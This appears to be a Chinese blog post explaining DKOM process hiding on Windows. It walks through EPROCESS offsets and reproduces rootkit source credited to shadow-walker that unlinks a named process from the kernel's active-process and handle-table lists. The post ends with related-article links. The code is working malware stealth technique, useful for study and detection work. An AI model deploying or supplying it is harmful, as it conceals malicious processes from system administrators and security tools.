在Windows内核中有一个活动进程链表AcvtivePeorecssList。它是一个双向链表,保存着系统中所有进程的EPROCESS结构。特别地,进程的EPROCESS结构包含一个具有指针成员FLINK和BLINK的LIST_ENTRY结构,这两个指针分别指向当前进程的前方和后方进程。当某些模块需要获得系统中运行的所有进程信息时,就会遍历这个链表。若在PsActviePoroessList链表上删除了某个进程对象,该进程将被隐藏起来。

EPROCESS的结构可参考http://www.nirsoft.net/kernel_struct/vista/EPROCESS.html。windbg中查看如下:

0:000> dt _EPROCESS

   +0x000 Pcb              : _KPROCESS

   +0x06c ProcessLock      : _EX_PUSH_LOCK

   +0x070 CreateTime       : _LARGE_INTEGER

   +0x078 ExitTime         : _LARGE_INTEGER

   +0x080 RundownProtect   : _EX_RUNDOWN_REF

   +0x084 UniqueProcessId  : Ptr32 Void

   +0x088 ActiveProcessLinks : _LIST_ENTRY

   +0x090 QuotaUsage       : [3] Uint4B

   +0x09c QuotaPeak        : [3] Uint4B

   +0x0a8 CommitCharge     : Uint4B

   +0x0ac PeakVirtualSize  : Uint4B

   +0x0b0 VirtualSize      : Uint4B

   +0x0b4 SessionProcessLinks : _LIST_ENTRY

   +0x0bc DebugPort        : Ptr32 Void

   +0x0c0 ExceptionPort    : Ptr32 Void

   +0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE

   ......

   也就是说每次得到一个ActiveProcessLinks地址,再减去它离EPROCESS结构入口处的偏移,就可以得到EPROCESS的地址,然后就可以轻松得到想要的EPROCESS的任何成员变量!不同的操作系统ActiveProcessLinks的偏移有所不同。

  要想隐藏某个进程,将其从ActiveProcessLinks链表中摘掉并修改前后结点的指向即可,同时修改HandleTableList的指向。shadow-walker上就对HandleTableList链表也进行了修改。_HANDLE_TABLE、HandleTableList在不同操作系统中在EPROCESS中便宜也不同。可以通过PsGetVersion获取系统版本并赋值。具体值可以在windbg中查看。

 ULONG majorVersion;

 ULONG minorVersion;

 // Get the operating system version

 PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

 if (majorVersion == 4 && minorVersion == 0)

 {

  //DbgPrint("Stop supporting NT 4.0");

  return STATUS_UNSUCCESSFUL;

 }

 else if (majorVersion == 5 && minorVersion == 0)

 {

  //DbgPrint("Microsoft Windows 2000 ");

  *pd_flink = 160;

  *pd_tableoff = 0x128;

  *pd_tablelist = 0x54;

 }

 else if (majorVersion == 5 && minorVersion == 1)

 {

  //DbgPrint("Microsoft Windows XP ");

  *pd_flink = 136;

  *pd_tableoff = 0xc4;

  *pd_tablelist = 0x1c;

 }

 else if (majorVersion == 5 && minorVersion == 2)

 {

  //DbgPrint("Microsoft Windows Server 2003 ");

  *pd_flink = 136;

  *pd_tableoff = 0xc4;//

  *pd_tablelist = 0x1c; //

 }

这种隐藏进程的方法貌似就叫DKOM法,具体原理上个图看看:

图中,正常的连接情况如黑线箭头所示,若要摘除某个结点,修改该结点前后两个结点的指针即可,修改示意如红线所示!代码都是shadow-walker中的,如下

void HideEPROCESSByPrefix(char *p_name, DWORD d_procName, DWORD d_flinkOffset, DWORD d_tableOffset, DWORD d_tableList)

{

 int   len         = 0;

 PLIST_ENTRY plist_active_procs;

 DWORD curr_eproc, eproc;

if (p_name == NULL)

  return;

len = strlen(p_name);

eproc = (DWORD) PsGetCurrentProcess();

 curr_eproc = eproc;

do

 {

  plist_active_procs = (LIST_ENTRY *) (curr_eproc+d_flinkOffset);//get the first ActiveProcessLinks

if(_strnicmp(p_name, (PVOID)(curr_eproc+d_procName) ,len) == 0) //cmp the procname if equal hideproc name

  {

   // just Change neighbors

   *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;

   *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;

UnHookHandleListEntry((PEPROCESS)curr_eproc, d_tableOffset, d_tableList);

// Advance

   curr_eproc = (DWORD) plist_active_procs->Flink;//pointer next ActiveProcessLinks

   curr_eproc = curr_eproc - d_flinkOffset;//ActiveProcessLinks -offset=next _EPROCESS

// Point to ourselves

   plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink); // Change the current EPROCESS

   plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink); // so we don't point to crap

  }

  else

  {

   curr_eproc = (DWORD) plist_active_procs->Flink;  //pointer next ActiveProcessLinks

   curr_eproc = curr_eproc - d_flinkOffset;//ActiveProcessLinks -offset=next _EPROCESS

  }

 } while(eproc != curr_eproc);  //

}

void UnHookHandleListEntry(PEPROCESS eproc, DWORD d_handleTable, DWORD d_handleList)

{

 PLIST_ENTRY plist_hTable = NULL;

 plist_hTable = (PLIST_ENTRY)((*(PDWORD)((DWORD) eproc + d_handleTable)) + d_handleList);

// Change neighbors because they point fingers

 *((DWORD *)plist_hTable->Blink) = (DWORD) plist_hTable->Flink;

 *((DWORD *)plist_hTable->Flink+1) = (DWORD) plist_hTable->Blink;

plist_hTable->Flink = (LIST_ENTRY *) &(plist_hTable->Flink); // Change the current LIST_ENTRY

 plist_hTable->Blink = (LIST_ENTRY *) &(plist_hTable->Flink); // so we don't point to crap

}

修改ActiveProcessLinks链表隐藏进程的更多相关文章

  1. 遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程

    1.EPROCESS结构体 EPROCESS块来表示.EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针.例如每一个进程里面都至少有一个ETHREAD块表示的线程 ...

  2. 遍历PspCidTable表检测隐藏进程

    一.PspCidTable概述 PspCidTable也是一个句柄表,其格式与普通的句柄表是完全一样的,但它与每个进程私有的句柄表有以下不同: 1.PspCidTable中存放的对象是系统中所有的进程 ...

  3. Ring0隐藏进程的方法

    第一种在系统调用服务表HOOK ZwQuerySystemInformation函数地址 使用InterlockedExchange函数将ZwQuerySystemInformation在内核导出表K ...

  4. 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程

    简介        大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文 ...

  5. 隐藏进程中的模块绕过IceSword的检测

    标 题: [原创] 隐藏进程中的模块绕过IceSword的检测 作 者: xPLK 时 间: 2008-06-19,17:59:11 链 接: http://bbs.pediy.com/showthr ...

  6. linux如和对其他用户隐藏进程?

    Linux kernel 3.2以上,root用户可以设置内核,让普通用户看不到其它用户的进程.适用于有多个用户使用的系统.该功能由内核提供,因此本教程适用于Debian/Ubuntu/RHEL/Ce ...

  7. Linux系统上对其他用户隐藏进程的简单方法

    mount -o remount,rw,hidepid=2 /proc 我使用的是多用户系统,大部分的用户通过ssh客户端访问他们的资源.我如何(怎么样)避免泄露进程信息给他们?如何(怎么样)在Deb ...

  8. 【旧文章搬运】再谈隐藏进程中的DLL模块

    原文发表于百度空间,2009-09-17========================================================================== 相当老的话 ...

  9. 修改Jenkins启动衍生进程的生命周期

    Jenkins+jmeter 多线程测试java接口时爆错,导致无法生成html报告. 先介绍下场景: 在Jenkins中新建了一个Job,假设你在一些列Build Step之前/之后,启动了一个进程 ...

随机推荐

  1. python -jieba 安装+分词+定位

    1.jieba 库安装 方法1:全自动安装(容易失败):easy_install jieba 或者 pip install jieba / pip3 install jieba 方法2:半自动安装(推 ...

  2. 弹窗的图片画廊lightslider插件

    需要这三个文件

  3. IO流分类

    IO流在java中从输入和输出角度分类: 1.输入流 2.输出流 IO流在java中从数据的角度来分类: 1.字符流:文本,我们能读懂的都可以认为是字符流,如:文章,java文件等 字符输入流的超类: ...

  4. Service7

    在真机上,利用clone-vm7新建一台虚拟机,名字:PXE-Server     1.设置防火墙为trusted   2.当前及永久关闭SELinux   3.配置IP地址:192.168.4.16 ...

  5. P1537 弹珠

    P1537 弹珠 题目描述 玛莎和比尔各自有自己的弹珠收藏.他们想重新分配收藏品,使两人能平等拥有弹珠.如果所有的弹珠的价值相同,那么他们就可以平分.但不幸的是,有一些弹珠更大,或者更美丽,所以,玛莎 ...

  6. 由Resin引发的java.lang.IllegalArgumentException: object is not an instance of declaring class(反射中使用)思考

    文章目录 背景 原因 解决办法 背景 在java agent中抓取Resin的 某些方法,在invoke的时候出现错误 java.lang.IllegalArgumentException: obje ...

  7. Mentor_丝印检查——手工绘制丝印线条(标注)到丝印位号距离的检查

    http://www.eda365.com/thread-193942-1-1.html 在此之前丝印的检查基本是停留在丝印与阻焊的距离检查,而器件丝印框和手工绘制的线条与器件位号的检查都不到位,据我 ...

  8. JUC源码分析-集合篇(九)SynchronousQueue

    JUC源码分析-集合篇(九)SynchronousQueue SynchronousQueue 是一个同步阻塞队列,它的每个插入操作都要等待其他线程相应的移除操作,反之亦然.SynchronousQu ...

  9. Java 获取当前系统的操作系统类型

    版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/fangchao2011/article/d ...

  10. 如果通过cookies和localStorage取值?

    1. getCook : 设定setCookie值 let setCookie = setCookie('wan',data,7); function setCookie(c_name,value,e ...